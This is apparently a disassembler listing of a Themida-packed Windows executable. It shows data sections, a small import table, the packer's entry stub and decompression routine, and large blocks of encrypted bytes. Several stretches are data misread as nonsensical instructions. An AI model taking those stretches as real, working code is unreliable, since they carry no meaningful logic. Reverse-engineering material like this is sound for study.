dword_4DB2E8 dd 0 ; DATA XREF: ___:loc_42715Dr
; ___:00427169w ...
dword_4DB2EC dd 0 ; DATA XREF: ___:loc_427170r
; ___:0042717Cw ...
dword_4DB2F0 dd 0 ; DATA XREF: ___:loc_4270CAr
; ___:004270E5w
dword_4DB2F4 dd 0 ; DATA XREF: sub_427610+Dr
; sub_427610+39w ...
dword_4DB2F8 dd 0 ; DATA XREF: sub_427610+5Aw
; sub_427610:loc_427683r ...
dword_4DB2FC dd 0 ; DATA XREF: sub_427610+6Ew
; sub_427610+8Br ...
dword_4DB300 dd 1 ; DATA XREF: sub_427D80+26r
; sub_427D80+46w ...
dword_4DB304 dd 0 ; DATA XREF: sub_41E220+9r
dword_4DB308 dd 0 ; DATA XREF: sub_428F10+17w
; sub_428F10+6Dw ...
align 10h
dword_4DB310 dd 0 ; DATA XREF: sub_428F10+59o
; sub_428F10+77r
dword_4DB314 dd 10h dup(0) ; DATA XREF: sub_428F10+103o
word_4DB354 dw 0 ; DATA XREF: sub_4292F0+FCr
word_4DB356 dw 0 ; DATA XREF: sub_428F10+88r
; sub_4292F0+145r ...
word_4DB358 dw 0 ; DATA XREF: sub_4292F0+132r
word_4DB35A dw 0 ; DATA XREF: sub_4292F0+13Br
; sub_4292F0+18Br
word_4DB35C dw 0 ; DATA XREF: sub_4292F0+126r
; sub_4292F0+181r
word_4DB35E dw 0 ; DATA XREF: sub_4292F0+11Cr
; sub_4292F0+177r
word_4DB360 dw 0 ; DATA XREF: sub_4292F0+113r
; sub_4292F0+16Er
word_4DB362 dw 0 ; DATA XREF: sub_4292F0+109r
; sub_4292F0+164r
dword_4DB364 dd 0 ; DATA XREF: sub_428F10+93r
; sub_428F10+CEr
dword_4DB368 dd 10h dup(0) ; DATA XREF: sub_428F10+149o
word_4DB3A8 dw 0 ; DATA XREF: sub_4292F0+43r
word_4DB3AA dw 0 ; DATA XREF: sub_428F10+ABr
; sub_4292F0+8Cr ...
word_4DB3AC dw 0 ; DATA XREF: sub_4292F0+79r
word_4DB3AE dw 0 ; DATA XREF: sub_4292F0+82r
; sub_4292F0+D2r
word_4DB3B0 dw 0 ; DATA XREF: sub_4292F0+6Dr
; sub_4292F0+C8r
word_4DB3B2 dw 0 ; DATA XREF: sub_4292F0+63r
; sub_4292F0+BEr
word_4DB3B4 dw 0 ; DATA XREF: sub_4292F0+5Ar
; sub_4292F0+B5r
word_4DB3B6 dw 0 ; DATA XREF: sub_4292F0+50r
; sub_4292F0+ABr
dword_4DB3B8 dd 0 ; DATA XREF: sub_428F10+B6r
; sub_428F10+C9r
dword_4DB3BC dd 0 ; DATA XREF: sub_428F10+18Dr
; sub_428F10+196r ...
dword_4DB3C0 dd 0 ; DATA XREF: sub_428EB0+3r
; sub_428EB0+16r ...
dword_4DB3C4 dd 77C26E79h ; DATA XREF: sub_42A780:loc_42A7AEr
; sub_42A780+37r ...
dword_4DB3C8 dd 0 ; DATA XREF: sub_42A8D0+75r
; sub_42A8D0+86r ...
dword_4DB3CC dd 0 ; DATA XREF: sub_42B250+25o
; sub_42B250+93r ...
dword_4DB3D0 dd 0 ; DATA XREF: sub_42B250+42o
; sub_42B250+A3r ...
dword_4DB3D4 dd 0 ; DATA XREF: sub_42B250+5Fo
; sub_42B250+7Cr ...
dword_4DB3D8 dd 0 ; DATA XREF: sub_42B580+A0r
; sub_42B580+B1r ...
dword_4DB3DC dd 0 ; DATA XREF: sub_42B9E0+2AAr
; sub_42B9E0+2B5r ...
dword_4DB3E0 dd 0 ; DATA XREF: sub_42B9E0+2CCr
; sub_42B9E0+2D7r ...
dword_4DB3E4 dd 3 dup(0) ; DATA XREF: sub_424DC0+94o
; sub_424DC0+F3o
word_4DB3F0 dw 0 ; DATA XREF: sub_42B9E0+36r
align 8
word_4DB3F8 dw 0 ; DATA XREF: sub_42B6B0+Fr
align 4
db 2 dup(0)
word_4DB3FE dw 0 ; DATA XREF: sub_42B250+Fr
db 2 dup(0)
word_4DB402 dw 0 ; DATA XREF: sub_42A9B0+Fr
word_4DB404 dw 0 ; DATA XREF: sub_42A9B0+1Ar
align 4
dword_4DB408 dd 0 ; DATA XREF: sub_42BE10+155r
; sub_42BE10+176r ...
dword_4DB40C dd 0 ; DATA XREF: sub_42C0A0+37w
; sub_42C160+1Br ...
dword_4DB410 dd 0 ; DATA XREF: sub_42C0A0+6Ew
; sub_42C160+101r ...
dword_4DB414 dd 0 ; DATA XREF: sub_42C0A0+1Aw
; sub_42C0A0+47r ...
dword_4DB418 dd 0 ; DATA XREF: sub_42BE10+45w
; sub_42BE10+4Br ...
dword_4DB41C dd 0 ; DATA XREF: sub_42BE10+7Aw
; sub_42BE10+80r ...
dword_4DB420 dd 0 ; DATA XREF: sub_42BE10:loc_42BEB9w
; sub_42BE10:loc_42BF1Er ...
dword_4DB424 dd 0 ; DATA XREF: sub_42BE10+182r
; sub_42BE10+1CBr ...
dword_4DB428 dd 0 ; DATA XREF: sub_42BE10+6r
; sub_42BE10+2Cw ...
dword_4DB42C dd 0 ; DATA XREF: sub_428050:loc_4280ACr
byte_4DB430 db 0 ; DATA XREF: sub_42F960+18Fo
; sub_42F960+1F2r ...
align 8
dword_4DB438 dd 0 ; DATA XREF: sub_42B940+11o
; ___:off_444E6Co ...
dword_4DB43C dd 0 ; DATA XREF: sub_42FC00+26r
; sub_42FC00+46w ...
dword_4DB440 dd 0 ; DATA XREF: sub_4307B0+26r
; sub_4307B0+41w ...
dword_4DB444 dd 0 ; DATA XREF: sub_430950+26r
; sub_430950+41w ...
dword_4DB448 dd 0 ; DATA XREF: sub_430B00+26r
; sub_430B00+4Bw ...
byte_4DB44C db 0 ; DATA XREF: sub_40C32Ar sub_40C32A+9w
align 10h
dword_4DB450 dd 0 ; DATA XREF: sub_42EAE0+8Fw
; sub_42EAE0+A4w ...
dword_4DB454 dd 0 ; DATA XREF: sub_42EC70+1C4w
; sub_42EC70+1EDw ...
dword_4DB458 dd 0 ; DATA XREF: sub_419D00+11r
; sub_41A630+32r ...
dword_4DB45C dd 0 ; DATA XREF: sub_419D00+6o
; sub_419D00+1Ao ...
dword_4DB460 dd 24561C8h ; DATA XREF: sub_418D40+EDr
; sub_418D40+109r ...
dd 3Fh dup(0)
dword_4DB560 dd 20h ; DATA XREF: sub_41B1B0+7r
; sub_41DD40+7r ...
dword_4DB564 dd 4E4h ; DATA XREF: sub_41FB40+22r
; sub_41FB40+14Aw ...
align 10h
word_4DB570 dw 0 ; DATA XREF: sub_41FB40+19Aw
; sub_41FB40+2F3w ...
align 4
dd 2 dup(0)
dword_4DB57C dd 0 ; DATA XREF: sub_41FB40+150w
; sub_41FB40+2C2w ...
byte_4DB580 db 0 ; DATA XREF: sub_41FFF0+1CEw
; sub_41FFF0+21Aw ...
align 4
dd 0Fh dup(0)
dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h
dd 77767574h, 7A7978h, 0
dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h
dd 57565554h, 5A5958h, 0
dd 83000000h, 0
dd 9A0000h, 9E009Ch, 2 dup(0)
dd 8A0000h, 0FF8E008Ch, 2 dup(0)
dd 0AA0000h, 2 dup(0)
dd 0B500h, 0BA0000h, 0
dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h
dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h
dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h
dd 9FDEDDDCh
byte_4DB680 db 0 ; DATA XREF: sub_41FB40+ABw
; sub_41FB40+1F4w ...
byte_4DB681 db 0 ; DATA XREF: sub_417BD0+92r
; sub_41FB40+129r ...
align 4
dd 0Fh dup(0)
dd 10100000h, 6 dup(10101010h), 0
dd 20200000h, 6 dup(20202020h), 2 dup(0)
dd 20h, 10000000h, 10001000h, 2 dup(0)
dd 20000000h, 20002000h, 10h, 0
dd 20000000h, 2 dup(0)
dd 200000h, 20000000h, 0
dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h)
dd 20202000h, 20202020h, 20h
dword_4DB784 dd 0 ; DATA XREF: sub_41FB40+169w
; sub_41FB40+205w ...
dword_4DB788 dd 10h ; DATA XREF: sub_41BE20+48w
; sub_41CA50+9r ...
dword_4DB78C dd 0 ; DATA XREF: sub_41BF40+475r
; sub_41BF40+4A4r ...
dword_4DB790 dd 2451E90h ; DATA XREF: sub_41BE20+2Ew
; sub_41BF40+5B2w ...
dword_4DB794 dd 0 ; DATA XREF: sub_41BE20+34w
; sub_41BF40+468r ...
dword_4DB798 dd 1 ; DATA XREF: ___:0041BD73r
; sub_41BE20+3Ew ...
dword_4DB79C dd 2451E90h ; DATA XREF: ___:0041BD56r
; ___:loc_41BDC6r ...
dword_4DB7A0 dd 2450000h ; DATA XREF: sub_4163D0+76r
; sub_41B8E0+5Cr ...
dword_4DB7A4 dd 0 ; DATA XREF: ___:0041AAF4r
; ___:0041AAFFw ...
dword_4DB7A8 dd 142340h ; DATA XREF: ___:loc_426122r
; ___:00426350r ...
dword_4DB7AC dd 2456680h ; DATA XREF: sub_418D40+48w
; sub_418D40+4Dr ...
dd 4 dup(0)
dword_4DB7C0 dd 400h dup(0) ; DATA XREF: ___:off_4438C0o
; ___:004438C8o
dword_4DC7C0 dd 200h ; DATA XREF: sub_418D40+4r
; sub_418D40+Dw ...
dword_4DC7C4 dd 1 ; DATA XREF: ___:0042630Bw
; sub_42D080+Er
dword_4DC7C8 dd 1 ; DATA XREF: sub_420320+3r
; sub_420320+16w ...
dword_4DC7CC dd 28F0050h ; DATA XREF: sub_4179C0+45r
; sub_419BD0+19r ...
dword_4DC7D0 dd 28F0050h ; DATA XREF: sub_4179C0+3Cr
; sub_4179C0+5Ar ...
dword_4DC7D4 dd 0 ; DATA XREF: ___:00416554r
; ___:0041655Fw ...
byte_4DC7D8 db 0 ; DATA XREF: sub_431910+5r
; sub_431910+11r ...
align 4
dd 209h dup(0)
aHxHxHxHxHxDaDa db 'HxÃ',9,'HxÃ',9,'HxÃ',9,'HxÃ',9,'HxÃ',9,'µ¤í$µ¤í$µ¤í$µ¤í$µ¤í$',0
align 4
dd 80h dup(0)
dd 24EDA4B5h, 10h dup(0)
dd 9C37848h, 25E0000h, 25F0000h, 2600000h, 2600794h, 2610000h
dd 2620000h, 2620C10h, 2630000h, 26300A5h, 2640000h, 2641DF9h
dd 2641E8Fh, 2650000h, 2660000h, 266080Ch, 2660D18h, 2670000h
dd 77E75CB5h
dword_4DD2BC dd 267009Bh ; DATA XREF: sub_401317+B8r
; ___:00402A6Ar ...
dd 267039Fh
dword_4DD2C4 dd 2680000h ; DATA XREF: sub_4097CE+33r
dd 2690000h
dword_4DD2CC dd 2690599h ; DATA XREF: sub_401317+29r
; sub_409ECC+2E5r ...
dword_4DD2D0 dd 2690610h ; DATA XREF: sub_4014E0:loc_4019EEr
dword_4DD2D4 dd 26908EFh ; DATA XREF: sub_40F811:loc_40F8A2r
dword_4DD2D8 dd 26A0000h ; DATA XREF: sub_4014E0+11r
dword_4DD2DC dd 26A0797h ; DATA XREF: sub_4014E0+2r
dword_4DD2E0 dd 26A08FFh ; DATA XREF: ___:00402B4Dr
; sub_40F4EE+32r
dd 26A0AF2h
dword_4DD2E8 dd 26B0000h ; DATA XREF: sub_413426+B9r
dd 26B0658h
dword_4DD2F0 dd 26B068Fh ; DATA XREF: ___:loc_40294Ar
dd 26B0AE4h, 26B0C38h, 26B0CCEh, 26C0000h
dword_4DD304 dd 26C05FFh ; DATA XREF: ___:004027BEr
; sub_413BB4+8Cr
dd 26D0000h
dword_4DD30C dd 26D0BAFh ; DATA XREF: sub_40F4EE:loc_40F5DAr
dd 26E0000h
dword_4DD314 dd 26F0000h ; DATA XREF: sub_42BE10+18r
dd 26F053Fh
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4DD31E: ; CODE XREF: ___:004DD325j
jo short loc_4DD322
add bl, ah
loc_4DD322: ; CODE XREF: ___:loc_4DD31Ej
div dword ptr [edi+1Fh]
loop loc_4DD31E
ja short loc_4DD361
add eax, 7700270h
; ---------------------------------------------------------------------------
dw 270h
dword_4DD330 dd 2710000h ; DATA XREF: ___:004128F1r
dd 2720000h
dword_4DD338 dd 2730000h ; DATA XREF: sub_40F811+Br
dd 27308F4h, 27309FCh
dword_4DD344 dd 2730F02h ; DATA XREF: sub_40F738+3Ar
; sub_4139E2+79r
dword_4DD348 dd 2740000h ; DATA XREF: sub_40F63F+23r
; sub_4139E2+37r
; ---------------------------------------------------------------------------
jmp short near ptr byte_4DD360
; ---------------------------------------------------------------------------
dw 274h
dd 2750000h, 2750B9Bh
dword_4DD358 dd 2760000h ; DATA XREF: sub_411E5F+36r
dd 276028Ah
byte_4DD360 db 0 ; CODE XREF: ___:004DD34Cj
; ---------------------------------------------------------------------------
loc_4DD361: ; CODE XREF: ___:004DD327j
add [edi+2], dh
push ebp
push es
ja short loc_4DD36A
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4DD36A: ; CODE XREF: ___:004DD366j
js short loc_4DD36E
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4DD36E: ; CODE XREF: ___:loc_4DD36Aj
jns short loc_4DD372
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4DD372: ; CODE XREF: ___:loc_4DD36Ej
jp short near ptr loc_4DD375+1
popf
loc_4DD375: ; CODE XREF: ___:loc_4DD372j
or edi, [edx+2]
bound ecx, [esi]
jp short loc_4DD37E
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4DD37E: ; CODE XREF: ___:004DD37Aj
jnp short loc_4DD382
xchg al, [ecx]
loc_4DD382: ; CODE XREF: ___:loc_4DD37Ej
jnp short loc_4DD386
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4DD386: ; CODE XREF: ___:loc_4DD382j
jl short loc_4DD38A
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_4DD38A: ; CODE XREF: ___:loc_4DD386j
jge short loc_4DD38E
inc edx
push es
loc_4DD38E: ; CODE XREF: ___:loc_4DD38Aj
jge short near ptr loc_4DD391+1
xchg eax, ecx
loc_4DD391: ; CODE XREF: ___:loc_4DD38Ej
or edi, [ebp+2]
; ---------------------------------------------------------------------------
dd 27E0000h, 27E06F2h, 27F0000h, 2800000h, 2801179h
dword_4DD3A8 dd 2810000h ; DATA XREF: sub_4129B0+Fr
; ---------------------------------------------------------------------------
mov eax, 61028111h
adc eax, 19630281h
add dword ptr [edx], 2820000h
jmp short loc_4DD3D3
; ---------------------------------------------------------------------------
dw 282h
dd 2821B33h, 2830000h, 283011Ch, 2840000h
db 53h, 5, 84h
; ---------------------------------------------------------------------------
loc_4DD3D3: ; CODE XREF: ___:004DD3BCj
add bh, [ebx+0Ch]
test [edx], al
retf 840Ch
; ---------------------------------------------------------------------------
add al, [eax]
add [ebp-7AE3DCFEh], al
add al, [eax+1Ch]
test [edx], eax
movsd
db 36h
jmp short loc_4DD463
; ---------------------------------------------------------------------------
dd 2860000h, 28602BDh, 28606DCh, 286074Ch, 2870000h, 2880000h
dd 28820CAh, 288298Bh, 2890000h, 2890603h, 28907B6h, 289096Fh
dd 2890A01h, 28A0000h, 28A043Ch, 28A0C44h, 28A0CDDh, 28A0DEDh
dd 28B0000h, 28B084Ah, 28B087Ch, 28B088Ch, 28C0000h, 28C077Ah
dd 28D0000h, 28E0000h, 28E10BCh, 28E12BDh, 28E13DBh
db 3Ch, 14h, 8Eh
; ---------------------------------------------------------------------------
loc_4DD463: ; CODE XREF: ___:004DD3E9j
add al, [eax]
; ---------------------------------------------------------------------------
db 3 dup(0)
dd 71AB1836h, 71AB41DAh, 71AB155Ah, 71AB3ECEh, 71AB5DE2h
dd 71AB868Dh, 71AB1746h, 71AB3E5Dh, 71AB3F8Dh, 71AB1A6Dh
dword_4DD490 dd 71AB5690h ; DATA XREF: sub_40C89D+B5r
; sub_40C89D+28Br
dd 71AB3C22h
dword_4DD498 dd 71AB1AF4h ; DATA XREF: sub_40C89D+A4r
; sub_40C89D:loc_40CB17r
dd 71AB1B7Bh, 71AB12F8h, 71AB1890h, 2D6h dup(0)
___ ends
; Section 2. (virtual address 000DE000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DE000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_rsrc___ segment para public 'DATA' use32
assume cs:_rsrc___
;org 4DE000h
dd 400h dup(0)
_rsrc___ ends
; Section 3. (virtual address 000DF000)
; Virtual size : 00001000 ( 4096.)
; Section size in file : 00001000 ( 4096.)
; Offset to raw data for section: 000DF000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_idata__ segment para public 'DATA' use32
assume cs:_idata__
;org 4DF000h
a7icwCw db '7¨çwµ\çw',0
align 4
dd 77345219h, 4 dup(0)
dd 0DF050h, 0DF000h, 3 dup(0)
dd 0DF079h, 0DF00Ch, 5 dup(0)
aKernel32_dll_0 db 'KERNEL32.dll',0
db 2 dup(0), 43h
aReatefilea db 'reateFileA',0
align 4
dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h
dd 6C642E32h, 6Ch
aInitcommoncont db 'InitCommonControls',0
align 1000h
_idata__ ends
; Section 4. (virtual address 000E0000)
; Virtual size : 00100000 (1048576.)
; Section size in file : 00100000 (1048576.)
; Offset to raw data for section: 000E0000
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
Themida_ segment para public 'DATA' use32
assume cs:Themida_
;org 4E0000h
dd 0E167FF53h, 4B6EBh, 56C66h, 95172h, 0
; =============== S U B R O U T I N E =======================================
public start
start proc near
var_1C = dword ptr -1Ch
; FUNCTION CHUNK AT 004E0265 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054C7AC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0054FC51 SIZE 00000062 BYTES
; FUNCTION CHUNK AT 0054FEC7 SIZE 00000055 BYTES
; FUNCTION CHUNK AT 0054FF28 SIZE 00000096 BYTES
; FUNCTION CHUNK AT 0054FFF4 SIZE 00000016 BYTES
mov eax, 0
pusha
or eax, eax
jz short loc_4E0086
call $+5
pop eax
add eax, 53h
cmp byte ptr [eax], 0E9h
jnz short loc_4E0041
popa
jmp short loc_4E0076
; ---------------------------------------------------------------------------
db 0DBh, 2Dh, 37h
dd 0FF004E00h, 0FFFFFFFFh, 3DFFFFFFh
db 40h
; ---------------------------------------------------------------------------
loc_4E0041: ; CODE XREF: start+18j
call $+5
pop eax
and eax, 0FFFFF000h
xor edi, edi
loc_4E004E: ; CODE XREF: start+5Ej
; DATA XREF: ___:0043F70Do ...
mov bx, 5A19h
add bx, 34h
cmp [eax], bx
jnz short loc_4E006D
movzx edx, word ptr [eax+3Ch]
add edx, eax
mov ebx, 44E9h
add ebx, 67h
cmp [edx], ebx
jz short loc_4E0074
loc_4E006D: ; CODE XREF: start+45j
sub eax, 1000h
jmp short loc_4E004E
; ---------------------------------------------------------------------------
loc_4E0074: ; CODE XREF: start+57j
mov edi, eax
loc_4E0076: ; CODE XREF: start+1Bj
jmp loc_4E0265
; ---------------------------------------------------------------------------
db 3
dd 26AB9C7h, 0CF03000Eh
db 0EBh, 0Ah
; ---------------------------------------------------------------------------
loc_4E0086: ; CODE XREF: start+8j
mov eax, offset loc_54C7AC
mov ecx, offset word_4E026A
push eax
push ecx
call sub_4E011B
call $+5
pop eax
sub eax, 26h
mov ecx, 1EFh
mov byte ptr [eax], 0E9h
sub ecx, 5
mov [eax+1], ecx
popa
jmp loc_4E0265
start endp ; sp-analysis failed
; ---------------------------------------------------------------------------
aUFkxB db '(“ÉäŠx¼^',0
dd 63432DA8h, 0F065446Ch, 3ADC23BEh, 759CA4D8h, 3163C78Eh
dd 93264C98h, 78F2E4C9h, 172F5EBCh, 9122458Bh, 0D8B164C8h
dd 0DCBA75EBh, 1D3B76EDh, 5A4E2BEFh, 1848C86h, 662A4924h
dd 1799B7DEh, 9122458Bh, 0D8B164C8h, 0DCBA75EBh, 1D3B76EDh
dd 3163C78Eh, 93264C98h
db 0C8h, 0E4h, 0F2h
; =============== S U B R O U T I N E =======================================
sub_4E011B proc near ; CODE XREF: start+7Ep
var_4 = dword ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
pusha
mov esi, [esp+20h+arg_0]
mov edi, [esp+20h+arg_4]
cld
mov dl, 80h
loc_4E0127: ; CODE XREF: sub_4E011B:loc_4E013Bj
mov al, [esi]
inc esi
mov [edi], al
inc edi
mov ebx, 2
loc_4E0132: ; CODE XREF: sub_4E011B+7Aj
; sub_4E011B+C3j ...
add dl, dl
jnz short loc_4E013B
mov dl, [esi]
inc esi
adc dl, dl
loc_4E013B: ; CODE XREF: sub_4E011B+19j
jnb short loc_4E0127
add dl, dl
jnz short loc_4E0146
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0146: ; CODE XREF: sub_4E011B+24j
jnb short loc_4E0197
xor eax, eax
add dl, dl
jnz short loc_4E0153
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0153: ; CODE XREF: sub_4E011B+31j
jnb loc_4E0238
add dl, dl
jnz short loc_4E0162
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0162: ; CODE XREF: sub_4E011B+40j
adc eax, eax
add dl, dl
jnz short loc_4E016D
mov dl, [esi]
inc esi
adc dl, dl
loc_4E016D: ; CODE XREF: sub_4E011B+4Bj
adc eax, eax
add dl, dl
jnz short loc_4E0178
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0178: ; CODE XREF: sub_4E011B+56j
adc eax, eax
add dl, dl
jnz short loc_4E0183
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0183: ; CODE XREF: sub_4E011B+61j
adc eax, eax
jz short loc_4E018D
push edi
sub edi, eax
mov al, [edi]
pop edi
loc_4E018D: ; CODE XREF: sub_4E011B+6Aj
mov [edi], al
inc edi
mov ebx, 2
jmp short loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0197: ; CODE XREF: sub_4E011B:loc_4E0146j
mov eax, 1
loc_4E019C: ; CODE XREF: sub_4E011B:loc_4E01B0j
add dl, dl
jnz short loc_4E01A5
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01A5: ; CODE XREF: sub_4E011B+83j
adc eax, eax
add dl, dl
jnz short loc_4E01B0
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01B0: ; CODE XREF: sub_4E011B+8Ej
jb short loc_4E019C
sub eax, ebx
mov ebx, 1
jnz short loc_4E01E3
mov ecx, 1
loc_4E01C0: ; CODE XREF: sub_4E011B:loc_4E01D4j
add dl, dl
jnz short loc_4E01C9
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01C9: ; CODE XREF: sub_4E011B+A7j
adc ecx, ecx
add dl, dl
jnz short loc_4E01D4
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01D4: ; CODE XREF: sub_4E011B+B2j
jb short loc_4E01C0
push esi
mov esi, edi
sub esi, ebp
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E01E3: ; CODE XREF: sub_4E011B+9Ej
dec eax
shl eax, 8
mov al, [esi]
inc esi
mov ebp, eax
mov ecx, 1
loc_4E01F1: ; CODE XREF: sub_4E011B:loc_4E0205j
add dl, dl
jnz short loc_4E01FA
mov dl, [esi]
inc esi
adc dl, dl
loc_4E01FA: ; CODE XREF: sub_4E011B+D8j
adc ecx, ecx
add dl, dl
jnz short loc_4E0205
mov dl, [esi]
inc esi
adc dl, dl
loc_4E0205: ; CODE XREF: sub_4E011B+E3j
jb short loc_4E01F1
cmp eax, 7D00h
jnb short loc_4E0228
cmp eax, 500h
jb short loc_4E0223
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0223: ; CODE XREF: sub_4E011B+F8j
cmp eax, 7Fh
ja short loc_4E022B
loc_4E0228: ; CODE XREF: sub_4E011B+F1j
add ecx, 2
loc_4E022B: ; CODE XREF: sub_4E011B+10Bj
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0238: ; CODE XREF: sub_4E011B:loc_4E0153j
mov al, [esi]
inc esi
xor ecx, ecx
shr al, 1
jz short loc_4E0259
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb
pop esi
mov ebx, 1
jmp loc_4E0132
; ---------------------------------------------------------------------------
loc_4E0259: ; CODE XREF: sub_4E011B+125j
sub edi, [esp+20h+arg_4]
mov [esp+20h+var_4], edi
popa
retn 8
sub_4E011B endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR start
loc_4E0265: ; CODE XREF: start:loc_4E0076j
; start+9Dj
jmp loc_54C7AC
; END OF FUNCTION CHUNK FOR start
; ---------------------------------------------------------------------------
word_4E026A dw 38E9h ; DATA XREF: start+77o
dd 15334A0h, 138EFEAh, 21E2EE46h, 0FCBF102Eh, 46B88733h
dd 2422FFFEh, 0FCBE1BE1h, 73650752h, 33726174h, 2E8B7041h
dd 8E778D3h, 21789CDDh, 281CFC75h, 0D523047Eh, 57007E52h
dd 8403989Bh, 7122AF7Bh, 0BCAB0AE1h, 6C538A92h, 5701A3FFh
dd 656854C0h, 64691C6Dh, 5D7F2161h, 0EC9F0112h, 0EB0143FEh
dd 843F4ABEh, 3DC36BCh, 0B7545D23h, 53FC8017h, 87700122h
dd 5C35E47Fh, 1191FF21h, 8E5F8F70h, 0D443C58Bh, 4084E860h
dd 0AFED815Dh, 7E00334h, 30999589h, 0DB50D08h, 7185841Bh
dd 0BD830106h, 70F8Dh, 0E88B0C74h, 0B84EE2E4h, 78C2694Fh
dd 0E3244470h, 19493E88h, 0E8456A03h, 682907A3h, 0CF83749Ah
dd 30ADF4Ah, 0A894B25h, 0E921D5D2h, 0EC4A0214h
db 0FAh, 1
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add esp, 0FFFFFFD8h
pop eax
out dx, al
pop edx
or [ecx+1359DEAh], al
mov ebx, edx
mov dword ptr [ebp-28h], 0E630823h
inc eax
mov [edi], ebx
or [ecx+1D80987Dh], al
jz short loc_4E0378
iret
; ---------------------------------------------------------------------------
dw 820h
dd 4566D0F4h, 431812FFh, 0DC36E1EBh
; ---------------------------------------------------------------------------
loc_4E0378: ; CODE XREF: Themida_:004E0367j
popa
frstor byte ptr [esi]
add eax, 104C2C9h
inc esi
add esp, 2A3FF7Ch
dec ecx
xchg eax, ecx
out 0, al
lea eax, [ebp-80h]
mov ebx, [ebp+8]
mov dword ptr [ecx-7Bh], 8D501219h
or byte ptr [edx], 0D1h
retn
; ---------------------------------------------------------------------------
dd 412A1888h, 81280B89h, 5D8006BDh, 27A5E375h, 64BA8D0Ah
dd 8075013Bh, 0F4BB0E8Ah, 3B85B24h, 785437ABh, 0FF3D0D3h
dd 754B080Eh, 0C3AFC1F7h, 4A494647h, 0A8F94618h, 0AE61D142h
dd 0F0D0818Ah, 28EEF6D7h, 284DFC45h, 0F2AD04EBh, 3E803146h
dd 4DBAF740h, 8634B984h, 7FEB0C7Dh, 32F8433Eh, 13F0126Dh
dd 10F40E2Ah, 65C14A05h, 0D60004F0h, 3E0D1F8h, 2880E5C2h
dd 1C8ADB33h, 0FB738030h, 0A0A7230h, 0F4057739h, 22C9FBEBh
dd 0D961149Fh, 0FD660A0Dh, 7D1EBD08h, 0B00AC33Ah, 72411A10h
dd 460AC30Bh, 247A0677h, 615D0188h, 83F4ECF0h, 7202CC7Dh
dd 0C00CB06Ch, 99A5DD76h, 7F826AAh, 0A88D1D38h, 553B02A8h
dd 78820FFCh, 6B0BDA7h, 43F938AAh, 0B98308BAh, 0FCA17082h
dd 372CBDh, 7470FFEh, 0B9FA7549h, 736A1722h, 0D18F01BBh
dd 0BCEB82F1h, 8E00760Ch, 0E1391386h, 0E0655108h, 0FB1DDF36h
dd 7268A94h, 0C05E928h, 2861059h, 0BC01F60Fh, 273FC917h
dd 88F8C32Ch, 0EA1DC612h, 681F0B0Dh, 0B3C03ECCh, 5ED1D238h
dd 3F113337h, 0C200F160h, 52B4BC67h, 0C034CB8Ch, 4E398210h
dd 0F01765Bh, 3D51B810h, 3BF1D104h, 588746D9h, 562E0975h
dd 48020E11h, 9065E4ECh, 84578006h, 328E05C5h, 53E92696h
dd 0C2042A3Ch, 718C0629h, 0EE78205h, 0FF98A8DDh, 6077812Bh
dd 341D2204h, 0F90C84C1h, 0BC207533h, 0ABB833Fh, 3040EFB3h
dd 0EC714199h, 0CC7F8C33h, 1940F2FFh, 4AE9FD45h, 0C4621460h
dd 254D018Eh, 0B1AA8211h, 68AB1146h, 4513845Ah, 5EDA3056h
dd 3155EE82h, 0EFFB0181h, 0EA8A0338h, 231388B9h, 0A3439714h
dd 0E951C06Bh, 2117C304h, 8A90C459h, 94A32545h, 21160930h
dd 6C45141h, 0C010DFB3h, 544640E0h, 88C45C1Ch, 17C45D8Ah
dd 0C4544440h, 5D18A87Bh, 0A01715EAh, 0C0779Dh, 0B3743DE1h
dd 0A87364BFh, 3018C500h, 0DD3577E2h, 8D6712C6h, 0D91D07DAh
